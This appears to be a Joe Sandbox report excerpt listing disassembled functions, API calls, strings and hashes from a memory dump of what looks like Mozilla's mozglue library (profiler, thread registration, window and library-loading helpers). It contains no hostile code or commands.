Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 90e707457ee254e14b5bab787c173aab08d1a00cee6a8026f7076934baae02d0
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 11B1D672E0421A8FCB14CF58DC81AEDB7B2EF85314F14126AC549DBB85E730A989CB90

Function 6CC06CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CC06D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC06E1E

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 57e559775dd218c32389ea3e30dfa7cb45c771fa67ed97f0e0f0a9fd833f9d72
Instruction ID: daa7e8d435bb191453d292b0ee025fe233b75ccdffefbcaa24a85688fc1809ae
Opcode Fuzzy Hash: 57e559775dd218c32389ea3e30dfa7cb45c771fa67ed97f0e0f0a9fd833f9d72
Instruction Fuzzy Hash: BDA182706187818FC715CF25C4907AEF7F2BF89308F44491DE88687B51EB71A849CB92

Function 6CC285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CC28C7C
__aulldiv.LIBCMT ref: 6CC28DD7

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 2ec3444a748f43c942d4aea89b8da3e6015ee6b0346e81a3cf8a2c1bf3898c28
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 5A329572F001198BDF18CE9DC8A1BAEF7B2FB88700F15853AD506BB790D6789D458B91

Function 6CC05C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CBD4A63,?,?), ref: 6CC05F06

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 8feca68f141ce39bd43d926d3064ccfeb64f12e082a4c960bd2eaeb108e8d2f6
Instruction ID: 1635fbe245d0590292023656abcaf9ef6f87487ffd942dbe1bd5d1f6630bf0f0
Opcode Fuzzy Hash: 8feca68f141ce39bd43d926d3064ccfeb64f12e082a4c960bd2eaeb108e8d2f6
Instruction Fuzzy Hash: 9FC1C275E012198FCB04CF95C1906EEBBF2FF89318F28815DD8556BB44E736A806CB94

Function 6CC376E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 6c21ea17cbb9dc98bbdb0f85d18e7a6c36ce46dd67542432a786c634b27f5c00
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 09321971E00629CFCB14CF99D980AADFBF2BF88304F549169C949A7745E731A986CF90

Function 6CC36E63 Relevance: .5, Instructions: 498COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: b6c7194776a22ba2860ad29d1fcb7bb0c2334c24fa5c11f800d947b7c1e78b8a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F722D771E00629CFCB14CF99D980A9DF7B2FF88304F6491AAC549A7745E731A986CF90

Function 6CBF0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 50a9e6b30a4fdf8c2f449fe690ebc6ea43ddefb91dbd6848eb56d2e241981751
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 05223771E00659CFDB14CF98C890AADF7B2FF88304F588699D45AA7705D770A98ACF80

Function 6CC3AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3adb4832e0ce89a96466a74990b164a6d4ace236e2faf817ca87acd02b630e9
Instruction ID: e3b9df0adfb4d006e0f9a98ec58784d0309305f1eb9abaa10144c8ee4edb08f0
Opcode Fuzzy Hash: d3adb4832e0ce89a96466a74990b164a6d4ace236e2faf817ca87acd02b630e9
Instruction Fuzzy Hash: AFF17A71A087658FDB00CEA8D8907AAB7E2AFC5318F159A2DE4DC877C1F374D8558782

Function 6CBCC670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 953f823bd3691c7b1ab1cd5f26175c41b5d1ddaaa0179b7a7ee3309e76f27eb1
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 3FA1AE71F0061A8BDB08CE69C8913AEB7F2EFD8355F188229D915E7781DB749C068BD1

Function 6CC255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CBFE1A5), ref: 6CC25606
LoadLibraryW.KERNEL32(gdi32,?,6CBFE1A5), ref: 6CC2560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CC25633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CC2563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CC2566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CC2567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CC25696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CC256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CC256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CC256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CC256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CC25716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CC2572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CC25748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CC25761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CC2577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CC25793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CC257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CC257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CC257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CC257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CC257FF

Strings

SetWindowLongPtrW, xrefs: 6CC257B7
RegisterClassW, xrefs: 6CC256AC
StretchDIBits, xrefs: 6CC257CC
SetWindowPos, xrefs: 6CC256F7
GetDpiForWindow, xrefs: 6CC25690
GetMonitorInfoW, xrefs: 6CC257A2
GetSystemMetricsForDpi, xrefs: 6CC25677
DeleteObject, xrefs: 6CC257F9
GetThreadDpiAwarenessContext, xrefs: 6CC2562D
user32, xrefs: 6CC25601
AreDpiAwarenessContextsEqual, xrefs: 6CC25637
CreateSolidBrush, xrefs: 6CC257E4
gdi32, xrefs: 6CC2560A
FillRect, xrefs: 6CC25729
LoadCursorW, xrefs: 6CC25774
ReleaseDC, xrefs: 6CC25742
GetWindowDC, xrefs: 6CC25710
MonitorFromWindow, xrefs: 6CC2578D
EnableNonClientDpiScaling, xrefs: 6CC25666
CreateWindowExW, xrefs: 6CC256C5
ShowWindow, xrefs: 6CC256DE
LoadIconW, xrefs: 6CC2575B

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: e0193448f15313147f543e366a583aad9533c3e1738acb449978aaadfeaff11d
Instruction ID: f397b93221fea3df2be800e2f1f55d776faf0b01c2bd3ede1229205ea510105c
Opcode Fuzzy Hash: e0193448f15313147f543e366a583aad9533c3e1738acb449978aaadfeaff11d
Instruction Fuzzy Hash: 62510070A51713AFEB01AF3D8D54D2B3AF8EB46249750D429E955E2A56FBB8CC00CF60

Function 6CC0CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CBD582D), ref: 6CC0CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CBD582D), ref: 6CC0CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC3FE98,?,?,?,?,?,6CBD582D), ref: 6CC0CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CC0CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CC0CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CC0CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CC0CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CC0CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CC0CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CC0CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CC0CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CC0CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CC0CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CC0CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CC0CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CC0CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CC0CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CC0CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CC0CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CC0CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CC0CE8A

Strings

default, xrefs: 6CC0CC21
markersallthreads, xrefs: 6CC0CE42
screenshots, xrefs: 6CC0CCD4
unregisteredthreads, xrefs: 6CC0CE58
leaf, xrefs: 6CC0CC66
processcpu, xrefs: 6CC0CE6E
Q^, xrefs: 6CC0CD25
notimerresolutionchange, xrefs: 6CC0CE00
seqstyle, xrefs: 6CC0CCE6
audiocallbacktracing, xrefs: 6CC0CDD4
jsallocations, xrefs: 6CC0CD0E
nostacksampling, xrefs: 6CC0CD7C
nativeallocations, xrefs: 6CC0CDA8
noiostacks, xrefs: 6CC0CCBE
samplingallthreads, xrefs: 6CC0CE2C
cpuallthreads, xrefs: 6CC0CE16
preferencereads, xrefs: 6CC0CD92
mainthreadio, xrefs: 6CC0CC7C
fileioall, xrefs: 6CC0CCA8
Unrecognized feature "%s"., xrefs: 6CC0CEA0
java, xrefs: 6CC0CC37
fileio, xrefs: 6CC0CC92
power, xrefs: 6CC0CE84
stackwalk, xrefs: 6CC0CCF8
ipcmessages, xrefs: 6CC0CDBE

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 4699caa7cfaabc3da7f679ece4472a7192f6dab0daae9f22350f992ae312d03a
Instruction ID: db8bb138fdbba712f7c8cdeeccb6ed2e49eba36a0ce5d6c6f58fdbd850cf53ca
Opcode Fuzzy Hash: 4699caa7cfaabc3da7f679ece4472a7192f6dab0daae9f22350f992ae312d03a
Instruction Fuzzy Hash: 0851A6D2B4533552FA0031167D10BEE1449FF6324AF10957AEE2EA5E80FB07A61AC6B7

Function 6CBD4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBD44B2,6CC4E21C,6CC4F7F8), ref: 6CBD473E
Part of subcall function 6CBD4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBD474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CBD44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CBD44D2
InitOnceExecuteOnce.KERNEL32(6CC4F80C,6CBCF240,?,?), ref: 6CBD451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBD455C
LoadLibraryW.KERNEL32(?), ref: 6CBD4592
InitializeCriticalSection.KERNEL32(6CC4F770), ref: 6CBD45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CBD45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CBD45BB
InitOnceExecuteOnce.KERNEL32(6CC4F818,6CBCF240,?,?), ref: 6CBD4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CBD4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CBD4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBD466D
VerSetConditionMask.NTDLL ref: 6CBD469F
VerSetConditionMask.NTDLL ref: 6CBD46AB
VerSetConditionMask.NTDLL ref: 6CBD46B2
VerSetConditionMask.NTDLL ref: 6CBD46B9
VerSetConditionMask.NTDLL ref: 6CBD46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBD46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CBD46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CBD46FD

Strings

kernel32.dll, xrefs: 6CBD44CD
l, xrefs: 6CBD4578
NativeNtBlockSet_Write, xrefs: 6CBD46F7
user32.dll, xrefs: 6CBD4557, 6CBD463F
WRusr.dll, xrefs: 6CBD44B5

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: e0141a0f3e06197945718cc4a11af588a23cfc9fffd1b05f7b228d85f553da90
Instruction ID: 848a8feb9d7878d72f8ff07fbdaa3838b59ebba95aa495f3bd028b310ed448f1
Opcode Fuzzy Hash: e0141a0f3e06197945718cc4a11af588a23cfc9fffd1b05f7b228d85f553da90
Instruction Fuzzy Hash: C761F6B0A04384AFEB10EF60CC49B99BBB8EF4730CF15C598E5089B641E775A945CF51

Function 6CC0F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CC0F8F9

Part of subcall function 6CBD6390: GetCurrentThreadId.KERNEL32 ref: 6CBD63D0
Part of subcall function 6CBD6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CBD63DF
Part of subcall function 6CBD6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CBD640E

ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F93A
GetCurrentThreadId.KERNEL32 ref: 6CC0F98A
GetCurrentThreadId.KERNEL32 ref: 6CC0F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F716

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

Part of subcall function 6CBCB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CBCB5E0

GetCurrentThreadId.KERNEL32 ref: 6CC0F739
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F746
GetCurrentThreadId.KERNEL32 ref: 6CC0F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC4385B,00000002,?,?,?,?,?), ref: 6CC0F829
free.MOZGLUE(?,?,00000000,?), ref: 6CC0F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CC0F866
free.MOZGLUE(?), ref: 6CC0FA0C

Part of subcall function 6CBD5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBD55E1), ref: 6CBD5E8C
Part of subcall function 6CBD5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5E9D
Part of subcall function 6CBD5E60: GetCurrentThreadId.KERNEL32 ref: 6CBD5EAB
Part of subcall function 6CBD5E60: GetCurrentThreadId.KERNEL32 ref: 6CBD5EB8
Part of subcall function 6CBD5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5ECF
Part of subcall function 6CBD5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CBD5F27
Part of subcall function 6CBD5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CBD5F47
Part of subcall function 6CBD5E60: GetCurrentProcess.KERNEL32 ref: 6CBD5F53
Part of subcall function 6CBD5E60: GetCurrentThread.KERNEL32 ref: 6CBD5F5C
Part of subcall function 6CBD5E60: GetCurrentProcess.KERNEL32 ref: 6CBD5F66
Part of subcall function 6CBD5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CBD5F7E

free.MOZGLUE(?), ref: 6CC0F9C5
free.MOZGLUE(?), ref: 6CC0F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CC0F9A6
" attempted to re-register as ", xrefs: 6CC0F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CC0F71F
Thread , xrefs: 6CC0F789

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
